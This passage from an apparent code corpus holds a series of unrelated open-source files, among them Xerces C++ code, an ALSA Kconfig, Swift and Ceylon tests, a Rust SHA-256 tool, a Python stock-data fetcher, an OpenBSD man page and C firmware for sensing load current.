if(!getNumericProperty(PSVI_Schema_Specified))\n return fTypeName;\n // if [validity] is \"invalid\" or \"notKnown\", the {target namespace} and {name} properties of the declared type if available, otherwise null.\n if(!getNumericProperty(PSVI_Validity))\n return fTypeName;\n if(fMemberTypeName)\n return fMemberTypeName;\n return fTypeName;\n}\n\nconst XMLCh* DOMTypeInfoImpl::getTypeNamespace() const {\n // if it's a DTD, return the data that was stored\n if(!getNumericProperty(PSVI_Schema_Specified))\n return fTypeNamespace;\n // if [validity] is \"invalid\" or \"notKnown\", the {target namespace} and {name} properties of the declared type if available, otherwise null.\n if(!getNumericProperty(PSVI_Validity))\n return fTypeNamespace;\n if(fMemberTypeName) // we check on the name, as the URI can be NULL\n return fMemberTypeNamespace;\n return fTypeNamespace;\n}\n\nbool DOMTypeInfoImpl::isDerivedFrom(const XMLCh* typeNamespaceArg, const XMLCh* typeNameArg, DerivationMethods) const\n{\n // if it's a DTD, return false\n if(!getNumericProperty(PSVI_Schema_Specified))\n return false;\n if(XMLString::equals(typeNamespaceArg, getTypeNamespace()) && XMLString::equals(typeNameArg, getTypeName()))\n return true;\n // TODO: need a pointer to the Grammar object\n return false;\n}\n\nconst XMLCh* DOMTypeInfoImpl::getStringProperty(PSVIProperty prop) const {\n switch(prop)\n {\n case PSVI_Type_Definition_Name: return fTypeName;\n case PSVI_Type_Definition_Namespace: return fTypeNamespace;\n case PSVI_Member_Type_Definition_Name: return fMemberTypeName;\n case PSVI_Member_Type_Definition_Namespace: return fMemberTypeNamespace;\n case PSVI_Schema_Default: return fDefaultValue;\n case PSVI_Schema_Normalized_Value: return fNormalizedValue;\n default: assert(false); /* it's not a string property */\n }\n return 0;\n}\n\nint DOMTypeInfoImpl::getNumericProperty(PSVIProperty prop) const {\n switch(prop)\n {\n case PSVI_Validity: return (PSVIItem::VALIDITY_STATE)(fBitFields & 0x0003);\n case PSVI_Validation_Attempted: return (PSVIItem::ASSESSMENT_TYPE)((fBitFields >> 2) & 0x0003);\n case PSVI_Type_Definition_Type: return (fBitFields & (1 << 5))?XSTypeDefinition::COMPLEX_TYPE:XSTypeDefinition::SIMPLE_TYPE;\n case PSVI_Type_Definition_Anonymous: return (fBitFields & (1 << 6))?true:false;\n case PSVI_Nil: return (fBitFields & (1 << 7))?true:false;\n case PSVI_Member_Type_Definition_Anonymous: return (fBitFields & (1 << 8))?true:false;\n case PSVI_Schema_Specified: return (fBitFields & (1 << 9))?true:false;\n default: assert(false); /* it's not a numeric property */\n }\n return 0;\n}\n\nvoid DOMTypeInfoImpl::setStringProperty(PSVIProperty prop, const XMLCh* value) {\n switch(prop)\n {\n case PSVI_Type_Definition_Name: fTypeName=value; break;\n case PSVI_Type_Definition_Namespace: fTypeNamespace=value; break;\n case PSVI_Member_Type_Definition_Name: fMemberTypeName=value; break;\n case PSVI_Member_Type_Definition_Namespace: fMemberTypeNamespace=value; break;\n case PSVI_Schema_Default: fDefaultValue=value; break;\n case PSVI_Schema_Normalized_Value: fNormalizedValue=value; break;\n default: assert(false); /* it's not a string property */\n }\n}\n\nvoid DOMTypeInfoImpl::setNumericProperty(PSVIProperty prop, int value) {\n switch(prop)\n {\n case PSVI_Validity: fBitFields |= (value & 0x0003); break;\n case PSVI_Validation_Attempted: fBitFields |= ((value & 0x0003) << 2); break;\n case PSVI_Type_Definition_Type: fBitFields |= (value==XSTypeDefinition::COMPLEX_TYPE)?(1 << 5):0; break;\n case PSVI_Type_Definition_Anonymous: fBitFields |= (value!=0)?(1 << 6):0; break;\n case PSVI_Nil: fBitFields |= (value!=0)?(1 << 7):0; break;\n case PSVI_Member_Type_Definition_Anonymous: fBitFields |= (value!=0)?(1 << 8):0; break;\n case PSVI_Schema_Specified: fBitFields |= (value!=0)?(1 << 9):0; break;\n default: assert(false); /* it's not a numeric property */\n }\n}\n\n\nXERCES_CPP_NAMESPACE_END\n/**\n * End of file DOMTypeInfo.cpp\n */\n"} {"text": "pcntl\nJason Greene, Arnaud Le Blanc\n"} {"text": "import { CommonModule } from '@angular/common';\nimport { NgModule } from '@angular/core';\nimport { RouterModule } from '@angular/router';\nimport { CmsConfig, provideDefaultConfig, UrlModule } from '@spartacus/core';\nimport { CarouselModule, MediaModule } from '@spartacus/storefront';\nimport { AttributesModule } from './directives/attributes/attributes.module';\nimport { MerchandisingCarouselComponent } from './merchandising-carousel/merchandising-carousel.component';\n\n@NgModule({\n imports: [\n CommonModule,\n AttributesModule,\n CarouselModule,\n MediaModule,\n RouterModule,\n UrlModule,\n ],\n providers: [\n provideDefaultConfig(<CmsConfig>{\n cmsComponents: {\n MerchandisingCarouselComponent: {\n component: MerchandisingCarouselComponent,\n },\n },\n }),\n ],\n declarations: [MerchandisingCarouselComponent],\n entryComponents: [MerchandisingCarouselComponent],\n exports: [MerchandisingCarouselComponent],\n})\nexport class MerchandisingCarouselCmsModule {}\n"} {"text": "# ALSA soundcard-configuration\nconfig SND_TIMER\n\ttristate\n\nconfig SND_PCM\n\ttristate\n\tselect SND_TIMER if SND_PCM_TIMER\n\nconfig SND_PCM_ELD\n\tbool\n\nconfig SND_PCM_IEC958\n\tbool\n\nconfig SND_DMAENGINE_PCM\n\ttristate\n\nconfig SND_HWDEP\n\ttristate\n\nconfig SND_SEQ_DEVICE\n\ttristate\n\nconfig SND_RAWMIDI\n\ttristate\n\tselect SND_SEQ_DEVICE if SND_SEQUENCER != n\n\nconfig SND_COMPRESS_OFFLOAD\n\ttristate\n\nconfig SND_JACK\n\tbool\n\n# enable input device support in jack layer\nconfig SND_JACK_INPUT_DEV\n\tbool\n\tdepends on SND_JACK\n\tdefault y if INPUT=y || INPUT=SND\n\nconfig SND_OSSEMUL\n\tbool \"Enable OSS Emulation\"\n\tselect SOUND_OSS_CORE\n\thelp\n\t This option enables the build of OSS emulation layer.\n\nconfig SND_MIXER_OSS\n\ttristate \"OSS Mixer API\"\n\tdepends on SND_OSSEMUL\n\thelp\n\t To enable OSS mixer API emulation (/dev/mixer*), say Y here\n\t and read <file:Documentation/sound/alsa/OSS-Emulation.txt>.\n\n\t Many programs still use the OSS API, so say Y.\n\n\t To compile this driver as a module, choose M here: the module\n\t will be called snd-mixer-oss.\n\nconfig SND_PCM_OSS\n\ttristate \"OSS PCM (digital audio) API\"\n\tdepends on SND_OSSEMUL\n\tselect SND_PCM\n\thelp\n\t To enable OSS digital audio (PCM) emulation (/dev/dsp*), say Y\n\t here and read <file:Documentation/sound/alsa/OSS-Emulation.txt>.\n\n\t Many programs still use the OSS API, so say Y.\n\n\t To compile this driver as a module, choose M here: the module\n\t will be called snd-pcm-oss.\n\nconfig SND_PCM_OSS_PLUGINS\n\tbool \"OSS PCM (digital audio) API - Include plugin system\"\n\tdepends on SND_PCM_OSS\n default y\n\thelp\n If you disable this option, the ALSA's OSS PCM API will not\n support conversion of channels, formats and rates. It will\n behave like most of new OSS/Free drivers in 2.4/2.6 kernels.\n\nconfig SND_PCM_TIMER\n\tbool \"PCM timer interface\" if EXPERT\n\tdefault y\n\thelp\n\t If you disable this option, pcm timer will be unavailable, so\n\t those stubs that use pcm timer (e.g. dmix, dsnoop & co) may work\n\t incorrectlly.\n\n\t For some embedded devices, we may disable it to reduce memory\n\t footprint, about 20KB on x86_64 platform.\n\nconfig SND_HRTIMER\n\ttristate \"HR-timer backend support\"\n\tdepends on HIGH_RES_TIMERS\n\tselect SND_TIMER\n\thelp\n\t Say Y here to enable HR-timer backend for ALSA timer. ALSA uses\n\t the hrtimer as a precise timing source. The ALSA sequencer code\n\t also can use this timing source.\n\n\t To compile this driver as a module, choose M here: the module\n\t will be called snd-hrtimer.\n\nconfig SND_DYNAMIC_MINORS\n\tbool \"Dynamic device file minor numbers\"\n\thelp\n\t If you say Y here, the minor numbers of ALSA device files in\n\t /dev/snd/ are allocated dynamically. This allows you to have\n\t more than 8 sound cards, but requires a dynamic device file\n\t system like udev.\n\n\t If you are unsure about this, say N here.\n\nconfig SND_MAX_CARDS\n\tint \"Max number of sound cards\"\n\trange 4 256\n\tdefault 32\n\tdepends on SND_DYNAMIC_MINORS\n\thelp\n\t Specify the max number of sound cards that can be assigned\n\t on a single machine.\n\nconfig SND_SUPPORT_OLD_API\n\tbool \"Support old ALSA API\"\n\tdefault y\n\thelp\n\t Say Y here to support the obsolete ALSA PCM API (ver.0.9.0 rc3\n\t or older).\n\nconfig SND_PROC_FS\n bool \"Sound Proc FS Support\" if EXPERT\n depends on PROC_FS\n default y\n help\n Say 'N' to disable Sound proc FS, which may reduce code size about\n 9KB on x86_64 platform.\n If unsure say Y.\n\nconfig SND_VERBOSE_PROCFS\n\tbool \"Verbose procfs contents\"\n\tdepends on SND_PROC_FS\n\tdefault y\n\thelp\n\t Say Y here to include code for verbose procfs contents (provides\n useful information to developers when a problem occurs). On the\n other side, it makes the ALSA subsystem larger.\n\nconfig SND_VERBOSE_PRINTK\n\tbool \"Verbose printk\"\n\thelp\n\t Say Y here to enable verbose log messages. These messages\n\t will help to identify source file and position containing\n\t printed messages.\n\n\t You don't need this unless you're debugging ALSA.\n\nconfig SND_DEBUG\n\tbool \"Debug\"\n\thelp\n\t Say Y here to enable ALSA debug code.\n\nconfig SND_DEBUG_VERBOSE\n\tbool \"More verbose debug\"\n\tdepends on SND_DEBUG\n\thelp\n\t Say Y here to enable extra-verbose debugging messages.\n\t \n\t Let me repeat: it enables EXTRA-VERBOSE DEBUGGING messages.\n\t So, say Y only if you are ready to be annoyed.\n\nconfig SND_PCM_XRUN_DEBUG\n\tbool \"Enable PCM ring buffer overrun/underrun debugging\"\n\tdefault n\n\tdepends on SND_DEBUG && SND_VERBOSE_PROCFS\n\thelp\n\t Say Y to enable the PCM ring buffer overrun/underrun debugging.\n\t It is usually not required, but if you have trouble with\n\t sound clicking when system is loaded, it may help to determine\n\t the process or driver which causes the scheduling gaps.\n\nconfig SND_VMASTER\n\tbool\n\nconfig SND_DMA_SGBUF\n\tdef_bool y\n\tdepends on X86\n\nsource \"sound/core/seq/Kconfig\"\n"} {"text": "//\n// ResolverScopeValueTests.swift\n// ResolverTests\n//\n// Created by Michael Long on 3/30/18.\n// Copyright © 2018 com.hmlong. All rights reserved.\n//\n\nimport XCTest\n@testable import Resolver\n\nclass ResolverScopeValueTests: XCTestCase {\n\n var resolver: Resolver!\n\n override func setUp() {\n super.setUp()\n resolver = Resolver()\n }\n\n override func tearDown() {\n super.tearDown()\n }\n\n func testResolverScopeGraph() {\n resolver.register { XYZValue() }\n resolver.register { XYZValueService( self.resolver.optional(), self.resolver.optional() ) }\n let service: XYZValueService? = resolver.optional()\n XCTAssertNotNil(service)\n XCTAssertNotNil(service?.value1)\n XCTAssertNotNil(service?.value2)\n if let s1 = service?.value1, let s2 = service?.value2 {\n XCTAssert(s1.id != s2.id)\n } else {\n XCTFail(\"values not resolved\")\n }\n }\n\n func testResolverScopeShared() {\n resolver.register { XYZValue() }.scope(Resolver.shared)\n var value1: XYZValue? = resolver.optional()\n var value2: XYZValue? = resolver.optional()\n XCTAssertNotNil(value1)\n XCTAssertNotNil(value2)\n // value types will not be shared since weak references do not apply\n if let s1 = value1, let s2 = value2 {\n XCTAssert(s1.id != s2.id)\n } else {\n XCTFail(\"values not shared\")\n }\n let oldID = value1?.id ?? UUID()\n // Release and try again\n value1 = nil\n value2 = nil\n if let newValue: XYZValue = resolver.optional() {\n XCTAssert(newValue.id != oldID)\n } else {\n XCTFail(\"newValue not resolved\")\n }\n }\n\n func testResolverScopeApplication() {\n resolver.register { XYZValue() }.scope(Resolver.application)\n let value1: XYZValue? = resolver.optional()\n let value2: XYZValue? = resolver.optional()\n XCTAssertNotNil(value1)\n XCTAssertNotNil(value2)\n if let s1 = value1, let s2 = value2 {\n XCTAssert(s1.id == s2.id)\n } else {\n XCTFail(\"values not cached\")\n }\n }\n\n func testResolverScopeCached() {\n resolver.register { XYZValue() }.scope(Resolver.cached)\n let value1: XYZValue? = resolver.optional()\n let value2: XYZValue? = resolver.optional()\n XCTAssertNotNil(value1)\n XCTAssertNotNil(value2)\n if let s1 = value1, let s2 = value2 {\n XCTAssert(s1.id == s2.id)\n } else {\n XCTFail(\"values not cached\")\n }\n let oldID = value1?.id ?? UUID()\n // Reset and try again\n Resolver.cached.reset()\n if let newService: XYZValue = resolver.optional() {\n XCTAssert(newService.id != oldID)\n } else {\n XCTFail(\"newService not resolved\")\n }\n\n }\n\n func testResolverScopeUnique() {\n resolver.register { XYZValue() }.scope(Resolver.unique)\n let value1: XYZValue? = resolver.optional()\n let value2: XYZValue? = resolver.optional()\n XCTAssertNotNil(value1)\n XCTAssertNotNil(value2)\n if let s1 = value1, let s2 = value2 {\n XCTAssert(s1.id != s2.id)\n } else {\n XCTFail(\"values not resolved\")\n }\n }\n\n}\n"} {"text": "#name: C6X arch attribute merging, c67x c67x+\n#as: -mlittle-endian\n#ld: -r -melf32_tic6x_le\n#source: attr-arch-c67x.s\n#source: attr-arch-c67x+.s\n#readelf: -A\n\nAttribute Section: c6xabi\nFile Attributes\n Tag_ISA: C67x\\+\n"} {"text": "/*\n * Copyright Red Hat Inc. and/or its affiliates and other contributors\n * as indicated by the authors tag. All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License version 2.\n * \n * This particular file is subject to the \"Classpath\" exception as provided in the \n * LICENSE file that accompanied this code.\n * \n * This program is distributed in the hope that it will be useful, but WITHOUT A\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A\n * PARTICULAR PURPOSE. See the GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License,\n * along with this distribution; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA 02110-1301, USA.\n */\n@noanno\nclass MethodWhileConditionListIsIs() {\n Boolean m(Anything x, Anything y) {\n while (is Integer x1=x, is Integer y1=y) {\n return x1 == y1;\n }\n return false;\n }\n Boolean synthetic(Anything x, Anything y) {\n while (is Integer x, is Integer y) {\n return x == y;\n }\n return false;\n }\n Boolean mElseIf(Anything x, Anything y) {\n while (is Integer x1=x, is Integer y1=y) {\n return x1 == y1;\n }\n return false;\n }\n}"} {"text": "use sha2::{Digest, Sha256};\nuse std::env;\nuse std::fs;\nuse std::io::{self, Read};\n\nconst BUFFER_SIZE: usize = 1024;\n\n/// Print digest result as hex string and name pair\nfn print_result(sum: &[u8], name: &str) {\n for byte in sum {\n print!(\"{:02x}\", byte);\n }\n println!(\"\\t{}\", name);\n}\n\n/// Compute digest value for given `Reader` and print it\n/// On any error simply return without doing anything\nfn process<D: Digest + Default, R: Read>(reader: &mut R, name: &str) {\n let mut sh = D::default();\n let mut buffer = [0u8; BUFFER_SIZE];\n loop {\n let n = match reader.read(&mut buffer) {\n Ok(n) => n,\n Err(_) => return,\n };\n sh.update(&buffer[..n]);\n if n == 0 || n < BUFFER_SIZE {\n break;\n }\n }\n print_result(&sh.finalize(), name);\n}\n\nfn main() {\n let args = env::args();\n // Process files listed in command line arguments one by one\n // If no files provided process input from stdin\n if args.len() > 1 {\n for path in args.skip(1) {\n if let Ok(mut file) = fs::File::open(&path) {\n process::<Sha256, _>(&mut file, &path);\n }\n }\n } else {\n process::<Sha256, _>(&mut io::stdin(), \"-\");\n }\n}\n"} {"text": "SELECT\n\tDepartment.NAME AS Department,\n\tEmployee.NAME AS Employee,\n\tSalary\nFROM\n\tEmployee,\n\tDepartment\nWHERE\n\tEmployee.DepartmentId = Department.Id\n\tAND ( Employee.DepartmentId, Salary )\n IN (SELECT DepartmentId, max( Salary )\n FROM Employee\n GROUP BY DepartmentId )\n"} {"text": "import pandas as pd\nfrom datetime import datetime\nimport requests\nfrom urllib.request import urlopen\nimport json\n\n\ndef stock_data(ticker, period=\"max\", interval=\"1d\", start=None, end=None):\n \"\"\"\n Description\n ----\n Gives information about the profile of a company which includes\n i.a. beta, company description, industry and sector.\n\n Input\n ----\n ticker (string)\n The company ticker (for example: \"URTH\")\n period (string)\n The range of the data (default = \"max\"), this can hold the following\n periods: \"1d\",\"5d\",\"1mo\",\"3mo\",\"6mo\",\"1y\",\"2y\",\"5y\",\"10y\",\"ytd\",\"max\"\n interval (string)\n The frequency of the data (default = \"1d\"), this can hold the\n following intervals: \"1m\", \"2m\", \"5m\", \"15m\",\"30m\",\"60m\",\n \"90m\", \"1h\", \"1d\", \"5d\", \"1wk\", \"1mo\", \"3mo\".\n Note that an interval less than 1h can only hold a period 1mo or less.\"\n start (string)\n The start date in the format %Y-%m-%d. Choose either start/end\n or period.\n end (string)\n The end date in the format %Y-%m-%d. Choose either start/end\n or period.\n\n Output\n ----\n data (dataframe)\n Data with dates in rows and the quotes in columns.\n \"\"\"\n parameters = {\"interval\": interval}\n\n if start is None or end is None:\n parameters['range'] = period\n else:\n start_timestamp = int(datetime.strptime(start, '%Y-%m-%d').timestamp())\n end_timestamp = int(datetime.strptime(end, '%Y-%m-%d').timestamp())\n parameters[\"period1\"] = start_timestamp\n parameters[\"period2\"] = end_timestamp\n\n url = \"https://query1.finance.yahoo.com/v8/finance/chart/\" + ticker\n\n try:\n data = requests.get(url=url, params=parameters)\n data_json = data.json()['chart']['result'][0]\n except TypeError:\n raise TypeError(\"No data available. Please check if you have a \"\n \"valid period and/or interval.\" + '\\n' +\n \"Note that an interval less than 1h can only \"\n \"hold a period of 1mo or less.\")\n\n timestamp = data_json['timestamp']\n dates = []\n for ts in timestamp:\n if interval in ['1m', '2m', '5m', '15m',\n '30m', '60m', '90m', '1h']:\n dates.append(datetime.fromtimestamp(int(ts)))\n else:\n dates.append(datetime.fromtimestamp(int(ts)).date())\n\n indicators = data_json['indicators']['quote'][0]\n try:\n indicators.update(data_json['indicators']['adjclose'][0])\n except Exception as e:\n print(\"Data for \" + str(e) + \" could not be included.\")\n\n return pd.DataFrame(indicators, index=dates)\n\n\ndef stock_data_detailed(ticker, api_key, begin=\"1792-05-17\", end=None):\n \"\"\"\n Description\n ----\n Gives complete information about the company's stock which includes open, high,\n low, close, adjusted close, volume, unadjusted volume, change, change percent,\n volume weighted average price, label and change over time.\n\n This function only allows company tickers and is limited to the companies found\n by calling available_companies() from the details module.\n\n Input\n ----\n ticker (string)\n The company ticker (for example: \"FIZZ\")\n api_key (string)\n The API Key obtained from https://financialmodelingprep.com/developer/docs/\n begin (string)\n Begin date in the format %Y-%m-%d.\n Default is the beginning of the Stock Market: 1792-05-17.\n end (string)\n End date in the format %Y-%m-%d.\n Default is the current date.\n\n Output\n ----\n data (dataframe)\n Data with the date in the rows and the variables in the columns.\n \"\"\"\n response = urlopen(\"https://financialmodelingprep.com/api/v3/historical-price-full/\" +\n ticker + \"?from=\" + str(begin) + \"&to=\" + str(end) + \"&apikey=\" + api_key)\n data = json.loads(response.read().decode(\"utf-8\"))\n\n if 'Error Message' in data:\n raise ValueError(data['Error Message'])\n\n try:\n data_json = data['historical']\n except KeyError:\n raise ValueError(\"No data available. Please note this function \"\n \"only takes a specific selection of companies.\" + '\\n' +\n \"See: FundamentalAnalysis.available_companies()\")\n\n data_formatted = {}\n for value in data_json:\n date = value['date']\n del value['date']\n data_formatted[date] = value\n data_formatted = pd.DataFrame(data_formatted).T\n\n return data_formatted\n"} {"text": "// Windows/Synchronization.cpp\n\n#include \"StdAfx.h\"\n\n#include \"Synchronization.h\"\n\nnamespace NWindows {\nnamespace NSynchronization {\n\n}}\n"} {"text": ".\\\"\t$OpenBSD: htonl.3,v 1.5 2019/02/13 07:02:09 jmc Exp $\n.\\\"\n.\\\" Copyright (c) 1983, 1991, 1993\n.\\\"\tThe Regents of the University of California. All rights reserved.\n.\\\"\n.\\\" Redistribution and use in source and binary forms, with or without\n.\\\" modification, are permitted provided that the following conditions\n.\\\" are met:\n.\\\" 1. Redistributions of source code must retain the above copyright\n.\\\" notice, this list of conditions and the following disclaimer.\n.\\\" 2. Redistributions in binary form must reproduce the above copyright\n.\\\" notice, this list of conditions and the following disclaimer in the\n.\\\" documentation and/or other materials provided with the distribution.\n.\\\" 3. Neither the name of the University nor the names of its contributors\n.\\\" may be used to endorse or promote products derived from this software\n.\\\" without specific prior written permission.\n.\\\"\n.\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n.\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n.\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n.\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n.\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n.\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n.\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n.\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n.\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n.\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n.\\\" SUCH DAMAGE.\n.\\\"\n.Dd $Mdocdate: February 13 2019 $\n.Dt HTONL 3\n.Os\n.Sh NAME\n.Nm htonl ,\n.Nm htons ,\n.Nm ntohl ,\n.Nm ntohs\n.Nd convert values between host and network byte orderings\n.Sh SYNOPSIS\n.In arpa/inet.h\n.Ft uint32_t\n.Fn htonl \"uint32_t host32\"\n.Ft uint16_t\n.Fn htons \"uint16_t host16\"\n.Ft uint32_t\n.Fn ntohl \"uint32_t net32\"\n.Ft uint16_t\n.Fn ntohs \"uint16_t net16\"\n.Sh DESCRIPTION\nThese routines convert 16 and 32-bit quantities between different\nbyte orderings.\n.Pp\nThe\n.Fn htonl\nand\n.Fn htons\nfunctions convert quantities from host to network byte order while the\n.Fn ntohl\nand\n.Fn ntohs\nfunctions convert in the other direction.\n.Pp\nThe last letter\n.Pf ( Sq s\nor\n.Sq l )\nis a mnemonic\nfor the traditional names for such quantities,\n.Li short\nand\n.Li long ,\nrespectively.\nToday, the C concept of\n.Li short\nand\n.Li long\nintegers need not coincide with this traditional misunderstanding.\nOn machines which have a byte order which is the same as the network\norder, routines are defined as null macros.\n.Pp\nThese routines are most often used in conjunction with Internet\naddresses and ports as returned by\n.Xr gethostbyname 3\nand\n.Xr getservent 3 .\n.Sh SEE ALSO\n.Xr gethostbyname 3 ,\n.Xr getservent 3 ,\n.Xr htobe64 3\n.Sh STANDARDS\nThe\n.Fn htonl ,\n.Fn htons ,\n.Fn ntohl ,\nand\n.Fn ntohs\nfunctions conform to\n.St -p1003.1 .\n.Sh HISTORY\nThese functions appeared in\n.Bx 4.2 .\n.Sh BUGS\nOn the alpha, amd64, i386, and some mips and arm architectures,\nbytes are handled backwards from most everyone else in the world.\nThis is not expected to be fixed in the near future.\n"} {"text": "/*\n * load_current_sense.c\n *\n * Created on: 10.03.2017.\n * Author: milan\n */\n\n\n#include \"load_current_sense.h\"\n#include \"analog.h\"\n#include \"nv.h\"\n#include \"time_count.h\"\n#include \"power_source.h\"\n\n#define ID_T_POLY_COEFF_VDG_START \t240\n#define ID_T_POLY_COEFF_VDG_END \t800\n#define ID_T_POLY_COEFF_VDG_INC \t10\n#define ID_T_POLY_COEFF_LEN \t\t(((int16_t)ID_T_POLY_COEFF_VDG_END - ID_T_POLY_COEFF_VDG_START) / ID_T_POLY_COEFF_VDG_INC + 1)\n\n// Table of poly coefficients of approximated PMOS drain current dependence on temperature and drain to gate voltage\n\t\t\t\t\t\t \t \t \t \t //{-0.0188,-0.0191,-0.0185,-0.0175,-0.0161,-0.0144,-0.0125,-0.0103,-0.008,-0.0055,-0.0029,0.0001,0.003,0.0058,0.0086,0.011,0.0135,0.0158,0.0173,0.0189,0.0198,0.0203,0.0199,0.019,0.0173,0.015,0.0113,0.0068,0.0011,-0.0056,-0.0137,-0.0231,-0.0339,-0.0463,-0.0603,-0.0763,-0.0938,-0.1126,-0.1336,-0.1558,-0.1802,-0.1558,-0.1558};\nstatic const float a[ID_T_POLY_COEFF_LEN] = {0,0,0,0,0,0,0,0,0,0,0,0,0.0028,0.0031,0.0028,0.0026,0.0024,0.0024,0.0024,0.0024,0.0025,0.0025,0.0026,0.0026,0.0026,0.0026,0.0025,0.0023,0.002,0.0016,-0.0051,-0.0092,-0.0139,-0.0193,-0.0254,-0.0323,-0.0399,-0.0483,-0.0576,-0.0677,-0.0788,-0.0909,-0.104,-0.1181,-0.1311,-0.1458,-0.1612,-0.1774,-0.1945,-0.2123,-0.231,-0.2506,-0.271,-0.2922,-0.3144,-0.3374,-0.3614};\n\t\t\t\t\t\t \t \t \t \t //{2.1296,2.0782,1.9572,1.8184,1.6645,1.4981,1.3222,1.1398,0.9543,0.7691,0.588,0.3775,0.1915,0.0219,-0.1394,-0.2502,-0.3679,-0.4625,-0.479,-0.4989,-0.4544,-0.3769,-0.2106,0.0011,0.2771,0.6116,1.0613,1.5835,2.1978,2.8995,3.7209,4.6451,5.6802,6.8469,8.1411,9.5966,11.16,12.828,14.671,16.588,18.676,16.588,16.588};\nstatic const float b[ID_T_POLY_COEFF_LEN] = {0.2169,0.1571,0.1201,0.1042,0.1078,0.1295,0.1676,0.2207,0.2872,0.3655,0.4541,0.5514,0.3989,0.4694,0.5615,0.6495,0.7352,0.8204,0.9068,0.9962,1.0904,1.1911,1.3001,1.4193,1.5503,1.695,1.8551,2.0323,2.2286,2.4456,3.0549,3.5263,4.0515,4.6335,5.2757,5.981,6.7528,7.5942,8.5084,9.4986,10.568,11.719,12.957,14.282,15.501,16.858,18.278,19.763,21.312,22.926,24.607,26.354,28.169,30.052,32.004,34.025,36.117};\n\t\t\t\t\t\t\t\t\t //{-49.855,-47.355,-43.582,-39.622,-35.508,-31.274,-26.956,-22.594,-18.229,-13.905,-9.6695,-4.7774,-0.339,3.8561,8.0158,11.287,14.931,18.354,20.432,22.947,24.503,25.822,25.767,25.318,24.128,22.378,18.922,14.729,9.4428,3.2338,-4.5243,-13.402,-23.5,-35.189,-48.31,-63.502,-79.554,-96.315,-115.23,-134.03,-154.69,-134.05,-134.06};\nstatic const float c[ID_T_POLY_COEFF_LEN] = {-8.2299,-4.4796,-1.6241,0.4295,1.774,2.5026,2.708,2.4833,1.9213,1.115,0.1574,-0.8587,3.632,3.669,4.126,5.003,6.3,8.017,10.154,12.711,15.688,19.085,22.902,27.139,31.796,36.873,42.37,48.287,54.624,61.381,68.558,76.155,84.172,92.609,101.47,110.74,120.44,130.56,141.09,152.05,163.43,175.23,187.44,200.08,217.37,234.16,252.12,271.29,291.73,313.5,336.64,361.2,387.24,414.82,443.99,474.79,507.28};\n// ID = a * T^2 + b * T + c\n// a = a[index], b = b[index], c = c[index]\n// index = (VDG - ID_T_POLY_COEFF_VDG_START) / ID_T_POLY_COEFF_VDG_INC\n\nstatic int16_t currBuffer[16] = {0};\nstatic uint8_t currBufferInd = 0;\n\nvolatile static uint8_t kta;\nvolatile static uint8_t ktb;\n\nvolatile static int16_t resLoadCurrCalib = 0;\n\nuint8_t pow5vIoResLoadCurrentStat[16];\n\nint16_t pow5vIoPMOSLoadCurrent = 0;\nint16_t pow5vIoResLoadCurrent = 0;\n\nstatic float GetRefLoadCurrent() {\n\tint32_t vdg = 4790 - ((GetSample(POW_DET_SENS_CHN)*aVdd)>>11);//ANALOG_GET_VDG_AVG();\n\t//vdg *= vdgCalibCoeff * mcuTemperature;\n\t//vdg >>= 10;\n\tint16_t i = vdg >= ID_T_POLY_COEFF_VDG_START ? (vdg - ID_T_POLY_COEFF_VDG_START + ID_T_POLY_COEFF_VDG_INC / 2) / ID_T_POLY_COEFF_VDG_INC : 0;\n\ti = i >= ID_T_POLY_COEFF_LEN ? ID_T_POLY_COEFF_LEN - 1 : i;\n\n\tvolatile float current = a[i] * mcuTemperature * mcuTemperature + b[i] * mcuTemperature + c[i];\n\treturn current > 0 ? current : 0;\n}\n\nstatic int32_t GetResSenseCurrent(void) {\n\tvolatile int32_t samAvg = GetSampleAverageDiff(0, 1);\n\treturn (samAvg * aVdd * 25) >> 8; // 4096 * 2 * aVdd * 100;\n}\n\nint32_t GetLoadCurrent(void) {\n\tif ( pow5vInDetStatus == POW_5V_IN_DETECTION_STATUS_NOT_PRESENT ) {\n\t\tif ( POW_5V_BOOST_EN_STATUS() ) {\n\t\t\tif ((pow5vIoResLoadCurrent - resLoadCurrCalib) < 800 && (pow5vIoResLoadCurrent - resLoadCurrCalib) > -300 )\n\t\t\t\treturn pow5vIoPMOSLoadCurrent;\n\t\t\telse\n\t\t\t\treturn pow5vIoResLoadCurrent - resLoadCurrCalib;\n\t\t} else {\n\t\t\treturn 0;\n\t\t}\n\t} else {\n\t\treturn pow5vIoResLoadCurrent - resLoadCurrCalib;\n\t}\n\t//return ((currBuffer[0] + currBuffer[1] + currBuffer[2] + currBuffer[3] + currBuffer[4] + currBuffer[5] + currBuffer[6] + currBuffer[7]) >> 3) - resLoadCurrCalib;\n\t/*uint8_t i;\n\tint8_t cnt = 0;\n\tint32_t sum = 0;\n\tint16_t d = pow5vIoResLoadCurrent < 0 ? - (pow5vIoResLoadCurrent >> 2) : pow5vIoResLoadCurrent >> 2;\n\tint16_t h = pow5vIoResLoadCurrent + d;\n\tint16_t r = pow5vIoResLoadCurrent - d;\n\tfor (i=0; i < 16; i++) {\n\t\tif (currBuffer[i] < h && currBuffer[i] > r) {\n\t\t\tsum += currBuffer[i];\n\t\t\tcnt ++;\n\t\t}\n\t}\n\n\treturn cnt ? 